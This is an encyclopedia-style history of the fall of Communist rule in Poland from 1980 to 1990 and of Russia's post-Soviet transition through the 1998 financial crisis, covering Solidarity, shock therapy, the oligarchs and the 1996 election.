          By 1980, the Communist leadership was completely trapped by Poland's economic and political dilemma. The regime had no means of legitimizing itself, since it knew that the PZPR would never win a free election. It had no choice but to make another attempt to raise consumer prices to realistic levels, but it knew that to do so would certainly spark another worker rebellion, much better-organized than the 1970 or 1976 outbreaks. In one sense, it was a reliance on capitalism that led to the fall of communism. Western bankers had loaned over $500 million to the government of Poland, and at a meeting at the Handlowy Bank in Warsaw on July 1, 1980, made it clear that low prices of consumer goods could no longer be subsidized by the state. The government gave in and announced a system of gradual but continuous price rises, particularly for meat. A wave of strikes and factory occupations began at once, coordinated from KOR's headquarters in Warsaw.


          The leadership made little effort to intervene. By this time, the Polish Communists had lost the Stalinist zealotry of the 1940s; they had grown corrupt and cynical during the Gierek years, and had no stomach for bloodshed. The country waited to see what would happen. In early August, the strike wave reached the politically sensitive Baltic coast, with a strike at the Lenin Shipyards in Gdańsk. Among the leaders of this strike was electrician Lech Wałęsa, who would soon become a figure of international importance. The strike wave spread along the coast, closing the ports and bringing the economy to a halt. With the assistance of the activists from KOR and the support of many intellectuals, the workers occupying the various factories, mines and shipyards across Poland came together.


          The leadership was now faced with a choice between repression on a massive scale and an agreement that would give the workers everything they wanted, while preserving the outward shell of Communist rule. They chose the latter, and on August 31, Wałęsa signed the Gdańsk Agreement with Mieczysław Jagielski, a member of the PZPR Politburo. The Agreement acknowledged the right of Poles to associate in free trade unions, abolished censorship, abolished weekend work, increased the minimum wage, increased and extended welfare and pensions, and abolished Party supervision of industrial enterprises. Party rule was significantly weakened in what was regarded as a first step toward dismantling the Party's monopoly of power, but nonetheless preserved, as it was recognized as necessary to prevent Soviet intervention. The fact that all these economic concessions were completely unaffordable escaped attention in the wave of national euphoria that swept the country. The period that started afterwards is often called the first part of the "Polish carnival" - with the second one taking place in the second half of 1980s.


          


          End of Communist rule (19801990)


          The Gdańsk Agreement, an aftermath of the August 1980 labor strike, was an important milestone. It led to the formation of an independent trade union, " Solidarity" (Polish Solidarność), founded in September 1980 and originally led by Lech Wałęsa. In the 1980s, it helped form a broad anti-Communist social movement, with members ranging from people associated with the Roman Catholic Church to anti-Communist leftists. The union was backed by a group of intellectual dissidents, the KOR, and adhered to a policy of nonviolent resistance. In time, Solidarity became a major Polish political force in opposition to the Communists.
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          The ideas of the Solidarity movement spread rapidly throughout Poland; more and more new unions were formed and joined the federation. The Solidarity program, although concerned chiefly with trade union matters, was universally regarded as the first step towards dismantling the Communists' dominance over social institutions, professional organizations and community associations. By the end of 1981, Solidarity had nine million members  a quarter of Poland's population, and three times as many members as the PUWP had. Using strikes and other tactics, the union sought to block government initiatives.
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          In September 1980, the increasingly frail Gierek was removed from office and replaced as Party leader by Stanisław Kania. Kania made the same sort of promises that Gomułka and Gierek made when they had come to power. But whatever goodwill the new leader gained by these promises was even shorter lived than it had been in 1956 and 1971, because there was no way that the regime could have kept the promises it had made at Gdańsk, even if it wanted to. The regime was still trapped by the conflict between economic necessity and political instability. It could not revive the economy without abandoning state control of prices, but it could not do this without triggering another general strike. Nor could it gain the support of the population through political reform, because of the threat of Soviet intervention. GNP fell in 1979 by 2%, in 1980 by 8% and in 1981 by 1520%. Public corruption had become endemic and housing shortages and food rationing were just one of many factors contributing to the growing social unrest.


          On December 13, 1981, claiming that the country was on the verge of economic and civil breakdown, and claiming the danger of Soviet intervention (whether this fear was justified at that particular moment is still hotly disputed by historians), Wojciech Jaruzelski, who had become the Party's national secretary and prime minister that year, started a crack-down on Solidarity, declaring martial law, suspending the union, and temporarily imprisoning most of its leaders. Polish police ( Milicja Obywatelska) and paramilitary riot police (Zmotoryzowane Odwody Milicji Obywatelskiej; ZOMO) suppressed the demonstrators in a series of violent attacks such as the massacre of striking miners in the Wujek Coal Mine (9 killed). The government banned Solidarity on October 8, 1982. Martial law was formally lifted in July 1983, though many heightened controls on civil liberties and political life, as well as food rationing, remained in place throughout the mid-to-late 1980s.
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          During the chaotic Solidarity years and the imposition of martial law, Poland entered a decade of economic crisis, officially acknowledged as such even by the regime. Work on most of the major investment projects that had begun in the 1970s was stopped, resulting in landmarks such as the Szkieletor skyscraper in Krakw. Rationing and queuing became a way of life, with ration cards (Kartki) necessary to buy even such basic consumer staples as milk and sugar. Access to Western luxury goods became even more restricted, as Western governments applied economic sanctions to express their dissatisfaction with the government repression of the opposition, while at the same time the government had to use most of the foreign currency it could obtain to pay the crushing rates on its foreign debt which reached US$23 billion by 1980. In response to this situation, the government, which controlled all official foreign trade, continued to maintain a highly artificial exchange rate with Western currencies. The exchange rate worsened distortions in the economy at all levels, resulting in a growing black market and the development of a shortage economy.
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          The Communist government unsuccessfully tried various expedients to improve the performance of the economy. To gather foreign currency, the government established a chain of state-run Pewex stores in all Polish cities where goods could only be bought with Western currency, as well as issued its own ersatz U.S. currency (bony). During the era hundreds of thousands of Poles emigrated looking for jobs and prosperity abroad. The government was increasingly forced to carry out small-scale reforms, allowing more small-scale private enterprises to function and departing further and further from the 'socialist' model of economy.


          The government slowly but inevitably started to accept the idea that some kind of a deal with the opposition would be necessary. The constant state of economic and societal crisis meant that, after the shock of martial law had faded, people on all levels again began to organize against the regime. "Solidarity" gained more support and power, though it never approached the levels of membership it enjoyed in the 19801981 period. At the same time, the dominance of the Communist Party further eroded as it lost many of its members, a number of whom had been revolted by the imposition of martial law. Throughout the mid-1980s, Solidarity persisted solely as an underground organization, supported by a wide range of international supporters, from the Church to the CIA. Starting from 1986, other opposition structures such as the Orange Alternative "dwarf" movement founded by Major Waldemar Fydrych began organizing street protests in form of colorful happenings that assembled thousands of participants and broke the fear barrier which was paralysing the population since the Martial Law. By the late 1980s, Solidarity was strong enough to frustrate Jaruzelski's attempts at reform, and nationwide strikes in 1988 were one of the factors that forced the government to open a dialogue with Solidarity.
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          The perestroika and glasnost policies of the Soviet Union's new leader, Mikhail Gorbachev, were another factor in stimulating political reform in Poland. In particular, Gorbachev essentially repudiated the Brezhnev Doctrine, which had stipulated that attempts by its Eastern European satellite states to abandon Communism would be countered by the Soviet Union with force. This change in Soviet policy, in addition to the hardline stance of US President Ronald Reagan against Soviet military incursions, removed the specter of a possible Soviet invasion in response to any wide-ranging reforms, and hence eliminated the key argument employed by the Communists as a justification for maintaining Communism in Poland.


          By the close of the 10th plenary session in December 1988, the Communist Party had decided to approach leaders of Solidarity for talks. From February 6 to April 15, 94 sessions of talks between 13 working groups, which became known as the " Round Table Talks" (Polish: Rozmowy Okrągłego Stołu) radically altered the structure of the Polish government and society. The talks resulted in an agreement to vest political power in a newly created bicameral legislature, and in a president who would be the chief executive.


          In April 1989, Solidarity was again legalized and allowed to participate in semi-free elections on June 4, 1989. This election was not completely free, with restrictions designed to keep the Communists in power, since only one third of the seats in the key lower chamber of parliament would be open to Solidarity candidates. The other two thirds were to be reserved for candidates from the Communist Party and its two allied, completely subservient parties. The Communists thought of the election as a way to keep power while gaining some legitimacy to carry out reforms. Many critics from the opposition believed that by accepting the rigged election Solidarity had bowed to government pressure, guaranteeing the Communists domination in Poland into the 1990s.


          When the results were released, a political earthquake followed. The victory of Solidarity surpassed all predictions. Solidarity candidates captured all the seats they were allowed to compete for in the Sejm, while in the Senate they captured 99 out of the 100 available seats. At the same time, many prominent Communist candidates failed to gain even the minimum number of votes required to capture the seats that were reserved for them. With the election results, the Communists suffered a catastrophic blow to their legitimacy.


          The next few months were spent on political maneuvering. The prestige of the Communists fell so low that the even the two puppet parties allied with them decided to break away and adopt independent courses. The Communist candidate for the post of Prime Minister, general Czesław Kiszczak, failed to gain enough support in the Sejm to form a government. Although Jaruzelski tried to persuade Solidarity to join the Communists in a "grand coalition", Wałęsa refused. By August of 1989, it was clear that a Solidarity Prime Minister would have to be chosen. Jaruzelski resigned as general secretary of the Communist Party, but found that he was forced to come to terms with a government formed by Solidarity: the Communists, who still had control over state power, were pacified by a compromise in which Solidarity allowed General Jaruzelski to remain head of state. Thus Jaruzelski, whose name was the only one the Communist Party had allowed on the ballot for the presidential election, won by just one vote in the National Assembly, essentially through abstention by a sufficient number of Solidarity MPs. General Jaruzelski became the president of the country, but Solidarity member Tadeusz Mazowiecki became the Prime Minister. The new non-Communist government, the first of its kind in Communist Europe, was sworn into office in September 1989. It immediately adopted radical economic policies, proposed by Leszek Balcerowicz, which transformed Poland into a functioning market economy over the course of the next year.


          The striking electoral victory of the Solidarity candidates in these limited elections, and the subsequent formation of the first non-Communist government in the region in decades, encouraged many similar peaceful transitions from Communist Party rule in Central and Eastern Europe in the second half of 1989.


          In 1990, Jaruzelski resigned as Poland's president and was succeeded by Wałęsa, who won the 1990 presidential elections. Wałęsa's inauguration as president in December, 1990 is thought by many to be the formal end of the Communist People's Republic of Poland and the beginning of the modern Republic of Poland. The Polish United Workers' Party (the Communists) dissolved in 1990, transforming into Social Democracy of the Republic of Poland. The Warsaw Pact was dissolved in the summer of 1991 and the Soviet troops would leave Poland by 1993. On October 27, 1991 the first entirely free Polish parliamentary elections since the 1920s took place. This completed Poland's transition from Communist Party rule to a Western-style liberal democratic political system.
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          With the dissolution of the Soviet Union in December 1991, the Russian Federation became an independent country. Russia was the largest of the fifteen republics that made up the Soviet Union, accounting for over 60% of the GDP and over half of the Soviet population. Russians also dominated the Soviet military and the Communist Party. Thus, Russia was widely accepted as the Soviet Union's successor state in diplomatic affairs and it assumed the USSR's permanent membership and veto in the UN Security Council; see Russia and the United Nations.


          Despite this acceptance, post-Soviet Russia lacked the military and political power of the former USSR. Russia managed to make the other ex-Soviet republics voluntarily disarm themselves of nuclear weapons and concentrated them under the command of the still effective rocket and space forces, but for the most part the Russian army and fleet were in near disarray by 1992. Prior to the dissolution of the Soviet Union, Boris Yeltsin had been elected President of Russia in June 1991 in the first direct presidential election in Russian history. In October 1991, as Russia was on the verge of independence, Yeltsin announced that Russia would proceed with radical market-oriented reform along the lines of Poland's "big bang," also known as " shock therapy."


          Russia today shares many continuities of political culture and social structure with its tsarist and Soviet past.


          


          Dismantling communism


          


          Shock therapy


          The conversion of the world's largest state-controlled economy into a market-oriented economy would have been extraordinarily difficult regardless of the policies chosen. (For details on state economic planning in the former Soviet Union, see Economy of the Soviet Union.) The policies chosen for this difficult transition were (1) liberalization, (2) stabilization, and (3) privatization. These policies were based on the neoliberal " Washington Consensus" of the IMF, World Bank, and U.S. Treasury Department.


          The programs of liberalization and stabilization were designed by Yeltsin's deputy prime minister Yegor Gaidar, a 35-year-old liberal economist inclined toward radical reform, and widely known as an advocate of " shock therapy". Shock therapy began days after the dissolution of the Soviet Union, when on January 2, 1992, Russian President Boris Yeltsin ordered the liberalization of foreign trade, prices, and currency. This entailed removing Soviet-era price controls in order to lure goods back into understocked Russian stores, removing legal barriers to private trade and manufacture, and cutting subsidies to state farms and industries while allowing foreign imports into the Russian market in order to break the power of state-owned local monopolies.


          The partial results of liberalization (lifting price controls) included worsening already apparent hyperinflation (after the Central Bank, an organ under parliament, which was skeptical of Yeltsin's reforms, was short of revenue and printed money to finance its debt) and the near bankruptcy of much of Russian industry.


          The process of liberalization would create winners and losers, depending on how particular industries, classes, age groups, ethnic groups, regions, and other sectors of Russian society were positioned. Some would benefit by the opening of competition; others would suffer. Among the winners were the new class of entrepreneurs and black marketeers that had emerged under Mikhail Gorbachev's perestroika. But liberalizing prices meant that the elderly and others on fixed incomes would suffer a severe drop in living standards, and people would see a lifetime of savings wiped out.


          With inflation at double-digit rates per month as a result of printing, macroeconomic stabilization was enacted to curb this trend. Stabilization, also called structural adjustment, is a harsh austerity regime (tight monetary policy and fiscal policy) for the economy in which the government seeks to control inflation. Under the stabilization program, the government let most prices float, raised interest rates to record highs, raised heavy new taxes, sharply cut back on government subsidies to industry and construction, and made massive cuts in state welfare spending. These policies caused widespread hardship as many state enterprises found themselves without orders or financing. A deep credit crunch shut down many industries and brought about a protracted depression.


          The rationale of the program was to squeeze the built-in inflationary pressure out of the economy so that producers would begin making sensible decisions about production, pricing and investment instead of chronically overusing resourcesa problem that resulted in shortages of consumer goods in the Soviet Union in the 1980s. By letting the market rather than central planners determine prices, product mixes, output levels, and the like, the reformers intended to create an incentive structure in the economy where efficiency and risk would be rewarded and waste and carelessness were punished. Removing the causes of chronic inflation, the reform architects argued, was a precondition for all other reforms: Hyperinflation would wreck both democracy and economic progress, they argued; they also argued that only by stabilizing the state budget could the government proceed to dismantle the Soviet planned economy and create a new capitalist Russia.


          


          Obstacles to capitalist reform in Russia


          A major reason that Russia's transition has been so wrenching is that the country is remaking both its Soviet-era political and economic institutions at once. In addition, Russia is remaking itself as a new national state following the disintegration of the union.


          The former Soviet Union was to deal with a number of unique obstacles during the post-Soviet transition. These obstacles may have left Russia on a far worse footing than other former Communist-led states to Russia's west that were also going through dual economic and political transitions, such as Poland, Hungary, and the Czech Republic, which have fared better since the collapse of the Eastern bloc between 1989 and 1991.


          The first major problem facing Russia was the legacy of the Soviet Union's enormous commitment to the Cold War. In the late 1980s, the Soviet Union devoted a quarter of its gross economic output to the defense sector (at the time most Western analysts believed that this figure was 15 percent). At the time, the military-industrial complex employed at least one of every five adults in the Soviet Union. In some regions of Russia, at least half of the workforce was employed in defense plants. (The comparable U.S. figures were roughly one-sixteenth of gross national product and about one of every sixteen in the workforce.) The end of the Cold War and the cutback in military spending hit such plants very hard, and it was often impossible for them to quickly retool equipment, retrain workers, and find new markets to adjust to the new post-Cold War and post-Soviet era. In the process of conversion an enormous body of experience, qualified specialists and know-how has been lost, as the plants were sometimes switching from, for example, producing hi-tech military equipment to making kitchen utensils.


          A second obstacle, partly related to the sheer vastness and geographical diversity of the Russian landmass, was the sizable number of "mono-industrial" regional economies (regions dominated by a single industrial employer) that Russia inherited from the Soviet Union. The concentration of production in a relatively small number of big state enterprises meant that many local governments were entirely dependent on the economic health of a single employer; when the Soviet Union collapsed and the economic ties between Soviet republics and even regions were severed, the production in the whole country dropped by more than fifty percent. Roughly half of Russia's cities had only one large industrial enterprise, and three fourths had no more than four. Consequently, the decrease in production caused tremendous unemployment and underemployment.


          Thirdly, post-Soviet Russia did not inherit a system of state social security and welfare from the USSR. Instead the companies, mainly large industrial firms, were traditionally responsible for a broad range of social welfare functionsbuilding and maintaining housing for their workforces, and managing health, recreational, educational, and similar facilities. The towns in contrast possessed neither the apparatus nor the funds for the provision of basic social services. Industrial employers were left heavily dependent on their firms. Thus, economic transformation created severe problems in maintaining social welfare since local governments were unable to assume financial responsibility for these functions.


          Finally, there is a human capital dimension to the failure of post-Soviet reforms in Russia. The former Soviet population was not necessarily uneducated. Literacy was nearly universal, and the educational level of the Soviet population was among the highest in the world with respect to science, engineering, and some technical disciplines. But the Soviets devoted little to what would be described as " liberal arts" in the West. The former Soviet Union's state enterprise managers were indeed highly skilled at coping with the demands on them under the Soviet system of planned production targets. But the incentive system built into state institutions and industries during the Soviet era encouraged skill in coping with state-run planned economy, but discouraged the risk-and-reward centered behaviour of market capitalism. For example, the directors of Soviet state firms were rewarded for meeting output targets under difficult conditions, such as uncertainty about whether needed inputs would be delivered in time and in the right assortment. As noted, they were also responsible for a broad array of social welfare functions for their employees, their families, and the population of the towns and regions where they were located. Profitability and efficiency, however, were generally not the most prominent priorities for Soviet enterprise managers. Thus, almost no Soviet employees or managers had firsthand experience with decision-making in the conditions of a market economy.


          


          Economic depression and social decay


          Russia's economy sank into deep depression by the mid-1990s, was hit further by the financial crash of 1998, and then began to recover in 19992000. According to Russian government statistics, the economic decline was far more severe than the Great Depression was in the United States in terms of Gross Domestic Product. It is about half as severe as the catastrophic drop borne out of the consequence of World War I, the fall of Tsarism, and the Russian Civil War.


          Following the economic reforms of the early 1990s, Russia suffered from a sharp increase in the rates of poverty and inequality. Estimates by the World Bank based on both macroeconomic data and surveys of household incomes and expenditures indicate that whereas 1.5% of the population was living in poverty (defined as income below the equivalent of $25 per month) in the late Soviet era, by mid-1993 between 39% and 49% of the population was living in poverty. Per capita incomes fell by another 15% by 1998, according to government figures.


          Public health indicators show a dramatic corresponding decline. In 1999, total population fell by about three-quarters of a million people. Meanwhile life expectancy dropped for men from sixty-four years in 1990 to fifty-seven years by 1994, while women's dropped from seventy-four to about seventy-one. Both health factors and sharp increase in deaths of mostly young people from unnatural causes (such as murders, suicides and accidents caused by increased disregard for safety) have significantly contributed to this trend. As of 2004, life expectancy is higher than at the nadir of the crisis in 1994, yet it still remains below the 1990 level.


          Alcohol-related deaths skyrocketed 60% in the 1990s. Deaths from infectious and parasitic diseases shot up 100%, mainly because medicines were no longer affordable to the poor. There are now roughly one and half times as many deaths as births per year in Russia.


          While the supply shortages of consumer goods characteristic of the 1980s went away (see Consumer goods in the Soviet Union), this was not only related to the opening of Russia's market to imports in the early 1990s but also to the impoverishment of the Russian people in the 1990s. Russians on fixed incomes (the vast majority of the workforce) saw their purchasing power drastically reduced, so while the stores might have been well stocked in the Yeltsin era, workers could now afford to buy little, if anything.


          By 2004 the average income has risen to more than $100 per month, emblematic of the mild recovery in recent years thanks to a large extent to high oil prices. But the growing income is not being evenly distributed. The social inequality has risen sharply during the 1990s with the Gini coefficient, for example, reaching 40%. Russia's income disparities are now nearly as large as in Argentina and Brazil, which have long been among the world leaders in inequality, and the regional disparities in the level of poverty are still growing sharper.


          


          Backlash against reform


          Structural reform lowered the standard of living for most groups of the population. Thus, reform created powerful political opposition. Democratization opened the political channels for venting these frustrations, thus translating into votes for anti-reform candidates, especially those of the Communist Party of the Russian Federation and its allies in the parliament. Russian voters, able to vote for opposition parties in the 1990s, often rejected economic reforms and yearned for the stability and personal security of the Soviet era. These were the groups that had enjoyed the benefits of Soviet-era state-controlled wages and prices, high state spending to subsidize priority sectors of the economy, protection from competition with foreign industries, and welfare entitlement programs.


          During the Yeltsin years in the 1990s, these groups were well organized, voicing their opposition to reform through strong trade unions, associations of directors of state-owned firms, and political parties in the popularly elected parliament whose primary constituencies were among those vulnerable to reform. A constant theme of Russian history in the 1990s was the conflict between economic reformers and those hostile to the new capitalism.


          


          Reform by decree


          On January 2, 1992, Yeltsinacting as his own prime ministerenacted the most wrenching components of economic reform by decree, thereby circumventing the Supreme Soviet and Congress of People's Deputies, which had been elected in June 1991, before the dissolution of the USSR. While this spared Yeltsin from the prospects of parliamentary bargaining and wrangling, it has also destroyed the hopes for any meaningful discussion of the right course of action for the country. In retrospect, despite the great price paid by Russian people for these authoritative decisions, they did not help the country in the transition to market economy.


          However, radical reform still faced some critical political barriers. The Soviet-era Central Bank was still subordinate to the conservative Supreme Soviet as opposed to the presidency. During the height of hyperinflation in 19921993, the Central Bank actually tried to derail reforms by actively printing money during a period of inflation. After all, the Russian government was short of revenue and was forced to print money to finance its debt. As a result, inflation exploded into hyperinflation, and the Russian economy continued in a serious slump.
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          1993 constitutional crisis


          The struggle for the centre of power in post-Soviet Russia and for the nature of the economic reforms culminated in political crisis and bloodshed in the fall of 1993. Yeltsin, who represented a course of radical privatization, was opposed by the parliament. Confronted with opposition to the presidential power of decree and threatened with impeachment, Yeltsin "dissolved" the parliament on September 21, in contravention of the existing constitution, and ordered new elections and a referendum on a new constitution. The parliament then declared Yeltsin deposed and appointed Aleksandr Rutskoy acting president on September 22. Tensions built quickly, and matters came to a head after street riots on October 2 October 3. On October 4, Yeltsin ordered Special Forces and elite army units to storm the parliament building, the "White House" as it is called. With tanks thrown against the small-arms fire of the parliamentary defenders, the outcome was not in doubt. Rutskoy, Ruslan Khasbulatov, and the other parliamentary supporters surrendered and were immediately arrested and jailed. The official count was 187 dead, 437 wounded (with several men killed and wounded on the presidential side).


          Thus the transitional period in post-Soviet Russian politics came to an end. A new constitution was approved by referendum in December 1993. Russia was given a strongly presidential system. Radical privatization went ahead. Although the old parliamentary leaders were released without trial on February 26, 1994, they would not play an open role in politics thereafter. Though its clashes with the executive would eventually resume, the remodeled Russian parliament had greatly circumscribed powers. (For details on the constitution passed in 1993 see Constitution and government structure of Russia.)


          


          First Chechen War


          In 1994, Yeltsin ordered 40,000 troops to prevent the separation of the southern region of Chechnya from Russia. Living 1,000miles (1,600km) south of Moscow, the predominantly Muslim Chechens for centuries had gloried in defying the Russians. Dzhokhar Dudayev, the Republic of Chechnyas nationalist president, was driven to take his republic out of the Russian Federation, and had declared Chechnya's independence in 1991. Russia was quickly submerged in a quagmire like that of the U.S. in the Vietnam War. When the Russians attacked the Chechen capital of Grozny during the first weeks of January 1995, about 25,000 civilians died under week-long air raids and artillery fire in the sealed-off city. Massive use of artillery and air strikes remained the dominating strategy throughout the Russian campaign. Even so, Chechen insurgents seized thousands of Russian hostages, while inflicting humiliating losses on Russia's demoralized and ill-equipped troops. Russian troops had not secured the Chechen capital of Grozny by year's end.


          The Russians finally managed to gain control of Grozny in February 1995 after heavy fighting. In August 1996 Yeltsin agreed to a ceasefire with Chechen leaders, and a peace treaty was formally signed in May 1997. However, the conflict resumed in 1999, thus rendering the 1997 peace accord meaningless. This time the rebellion was brutally crushed by Vladimir Putin.


          


          The "loans for shares" scheme and the rise of the "oligarchs"


          


          The new capitalist opportunities presented by the opening of the Russian economy in the late 1980s and early 1990s affected many people's interests. As the Soviet system was being dismantled, well-placed bosses and technocrats in the Communist Party, the KGB, and the Komsomol (Soviet Youth League) were cashing in on their Soviet-era power and privileges. Some quietly liquidated the assets of their organization and secreted the proceeds in overseas accounts and investments. Others created banks and business in Russia, taking advantage of their insider positions to win exclusive government contracts and licenses and to acquire financial credits and supplies at artificially low, state-subsidized prices in order to transact business at high, market-value prices. Great fortunes were made almost overnight.


          At the same time, a few young people, without much social status, but with lots of entrepreneurial spirit, saw opportunity in the economic and legal confusion of the transition. Between 1987 and 1992, trading of natural resources and foreign currencies, as well as imports of highly demanded consumer goods and then domestic production of their rudimentary substitutes, rapidly enabled these pioneering entrepreneurs to accumulate considerable wealth. In turn, the emerging cash-based, highly opaque markets provided a breeding ground for a large number of racket gangs.


          By the mid-nineties, the best-connected former nomenklatura leaders accumulated considerable financial resources, while on the other hand the most successful entrepreneurs became acquainted with government officials and public politicians. The privatization of state enterprises was a unique opportunity, since it gave many of those who had gained wealth in the early 1990s a chance to convert it into shares of privatized enterprises.


          The Yeltsin government hoped to use privatization to spread ownership of shares in former state enterprises as widely as possible to create political support for his government and his reforms. The government used a system of free vouchers as a way to give mass privatization a jump-start. But it also allowed people to purchase shares of stock in privatized enterprises with cash. Even though initially each citizen received a voucher of equal face value, within months most of them converged in the hands of intermediaries who were ready to buy them for cash right away.


          As the government ended the voucher privatization phase and launched cash privatization, it devised a program that it thought would simultaneously speed up privatization and yield the government a much-needed infusion of cash for its operating needs. Under the scheme, which quickly became known in the West as "loans for shares", the Yeltsin regime auctioned off substantial packages of stock shares in some of its most desirable enterprises, such as energy, telecommunications, and metallurgical firms, as collateral for bank loans.


          In exchange for the loans, the state handed over assets worth many times as much. Under the terms of the deals, if the Yeltsin government did not repay the loans by September 1996, the lender acquired title to the stock and could then resell it or take an equity position in the enterprise. The first auctions were held in the fall of 1995. The auctions themselves were usually held in such a way so to limit the number of banks bidding for shares and thus to keep the auction prices extremely low. By summer 1996, major packages of shares in some of Russia's largest firms had been transferred to a small number of major banks, thus allowing a handful of powerful banks to acquire substantial ownership shares over major firms at shockingly low prices. These deals were effectively giveaways of valuable state assets to a few powerful, well-connected, and wealthy financial groups.


          The concentration of immense financial and industrial power, which loans for shares had assisted, extended to the mass media. One of the most prominent of the financial barons, Boris Berezovsky, who controlled major stakes in several banks and companies, exerted an extensive influence over state television programming for a while. Berezovsky and other ultra-wealthy, well-connected tycoons who controlled these great empires of finance, industry, energy, telecommunications, and media became known as the " Russian oligarchs". Along with Berezovsky, Mikhail Khodorkovsky, Roman Abramovich, Vladimir Potanin, Vladimir Bogdanov, Rem Viakhirev, Vagit Alekperov, Viktor Chernomyrdin, Viktor Vekselberg, and Mikhail Fridman emerged as Russia's most powerful and prominent oligarchs.


          A tiny clique who used their connections built up during the last days of the Soviet years to appropriate Russia's vast resources during the rampant privatizations of the Yeltsin years, the oligarchs emerged as the most hated men in the nation. The Western world generally advocated a quick dismantling of the Soviet planned economy to make way for "free-market reforms," but later expressed disappointment over the newfound power and corruption of the "oligarchs."


          


          The 1996 presidential election


          


          Campaigns


          Early in the campaign it had been thought that Yeltsin, who was in uncertain health (after recuperating from a series of heart attacks) and whose behaviour was sometimes erratic, had little chance for reelection. When campaigning opened at the beginning of 1996, Yeltsin's popularity was close to zero. Meanwhile, the opposition Communist Party of the Russian Federation had already gained ground in parliamentary voting on December 17, 1995, and its candidate, Gennady Zyuganov, had a strong grassroots organization, especially in the rural areas and small towns, and appealed effectively to memories of the old days of Soviet prestige on the international stage and the socialist domestic order.


          Panic struck the Yeltsin team when opinion polls suggested that the ailing president could not win; members of his entourage urged him to cancel presidential elections and effectively rule as dictator from then on. Instead, Yeltsin changed his campaign team, assigning a key role to his daughter, Tatyana Dyachenko, and appointing Anatoly Chubais campaign manager. Chubais, who was not just Yeltsin's campaign manager but also the architect of Russia's privatization program, set out to use his control of the privatization program as the key instrument of Yeltsin's reelection campaign.


          The president's inner circle assumed that it had only a short time in which to act on privatization; it therefore needed to take steps that would have a large and immediate impact, making the reversal of reform prohibitively costly for their opponents. Chubais' solution was to co-opt potentially powerful interests, including enterprise directors and regional officials, in order to ensure Yeltsin's reelection.


          The position of the enterprise directors to the program was essential to maintaining economic and social stability in the country. The managers represented one of the most powerful collective interests in the country; it was the enterprise managers who could ensure that labor did not erupt in a massive wave of strikes. The government, therefore, did not strenuously resist the tendency for voucher privatization to turn into "insider privatization," as it was termed, in which senior enterprise officials acquired the largest proportion of shares in privatized firms. Thus, Chubais allowed well-connected employees to acquire majority stakes in the enterprises. This proved to be the most widely used form of privatization in Russia. Three-quarters of privatized enterprises opted for this method, most often using vouchers. Real control thus wound up in the hands of the managers.


          Support from the oligarchs was also crucial to Yeltsin's reelection campaign. The "loans for shares" giveaway took place in the run-up to the 1996 presidential electionat a point when it had appeared that Zyuganov might defeat Yeltsin. Yeltsin and his entourage gave the oligarchs an opportunity to scoop up some of Russia's most desirable assets in return for their help in his reelection effort. The oligarchs, in turn, reciprocated the favour.


          In the spring of 1996, with Yeltsin's popularity at a low ebb, Chubais and Yeltsin recruited a team of six leading Russian financiers and media barons (all oligarchs) who bankrolled the Yeltsin campaign with $3 million and guaranteed coverage on television and in leading newspapers directly serving the president's campaign strategy. The media painted a picture of a fateful choice for Russia, between Yeltsin and a "return to totalitarianism." The oligarchs even played up the threat of civil war if a Communist were elected president.


          In the outlying regions of the country, the Yeltsin campaign relied on its ties to other alliesthe patron-client ties of the local governors, most of whom had been appointed by the president.


          The Zyuganov campaign had a strong grass-roots organization, but it was simply no match to the financial resources and access to patronage that the Yeltsin campaign could marshal.


          Yeltsin campaigned energetically, dispelling concerns about his health, exploiting all the advantages of incumbency to maintain a high media profile. To assuage voters' discontent, he made the claim that he would abandon some unpopular economic reforms and boost welfare spending, end the war in Chechnya, pay wage and pension arrears, and abolish the military draft program (he did not live up to his promises after the election, except for ending the Chechen war, which was halted for 3 years). Yeltsin's campaign also got a boost from the announcement of a $10 billion loan to the Russian government from the International Monetary Fund.


          Grigory Yavlinsky was the liberal alternative to Yeltsin and Zyuganov. He appealed to a well-educated middle class that saw Yeltsin as a drunken scoundrel and Zyuganov as a Soviet-era throwback. Seeing Yavlinsky as a threat, Yeltsin's inner circle of supporters worked to bifurcate political discourse, thus excluding a middle groundand convince voters that only Yeltsin could defeat the Communist "menace." The election became a two-man race, and Zyuganov, who lacked Yeltsin's resources and financial backing, watched haplessly as his strong initial lead was whittled away.


          


          Elections


          Voter turnout in the first round of the polling on June 16 was 69.8%. According to returns announced on June 17, Yeltsin won 35% of the vote; Zyuganov won 32%; Aleksandr Lebed, a populist ex-general, a surprisingly high 14.5%; liberal candidate Grigory Yavlinsky 7.4%; far-right nationalist Vladimir Zhirinovsky 5.8%; and former Soviet president Mikhail Gorbachev 0.5%. With no candidate securing an absolute majority, Yeltsin and Zyuganov went into a second round of voting. In the meantime, Yeltsin co-opted a large segment of the electorate by appointing Lebed to the posts of national security adviser and secretary of the Security Council.


          In the end, Yeltsin's election tactics paid off. In the run-off on July 3, with a turnout of 68.9%, Yeltsin won 53.8% of the vote and Zyuganov 40.3%, with the rest (5.9%) voting "against all". Moscow and Saint Petersburg (formerly Leningrad) together provided over half of the incumbent president's support, but he also did well in large cities in the Urals and in the north and northeast. Yeltsin lost to Zyuganov in Russia's southern industrial heartland. The southern stretch of the country became known as the "red belt", underscoring the resilience of the Communist Party in elections since the breakup of the Soviet Union.


          Although Yeltsin promised that he would abandon his unpopular neoliberal austerity policies and increase public spending to help those suffering from the pain of capitalist reforms, within a month of his election, Yeltsin issued a decree canceling almost all of these promises.


          Right after the election, Yeltsin's physical health and mental stability were increasingly precarious. Many of Yeltsin's executive functions thus devolved upon a group of advisers (most of whom had close links with the oligarchs).


          


          The crises of 1998


          


          Financial collapse


          The global recession of 1998, which started with the Asian financial crisis in July 1997, exacerbated Russia's economic crisis. Given the ensuing decline in world commodity prices, countries heavily dependent on the export of raw materials such as oil were among those most severely hit. Oil, natural gas, metals, and timber account for more than 80% of Russian exports, leaving the country vulnerable to swings in world prices. Oil is also a major source of government tax revenue. The sharp decline in the price of oil had severe consequences for Russia.


          The pressures on the ruble, reflecting the weakness of the economy, resulted in a disastrous fall in the value of the currency. Massive tax evasion also continued, and the government found itself unable to service the massive loans it had received or even to pay its employees. The government stopped making timely payment of wages, pensions, and debts to suppliers; and when workers were paid, it was often with bartered goods rather than rubles. Coal miners were hard hit, and for several weeks in the summer they blocked sections of the Trans-Siberian railroad, effectively cutting the country in two. As time wore on, they added calls for the resignation of Yeltsin and his government to their wage demands.


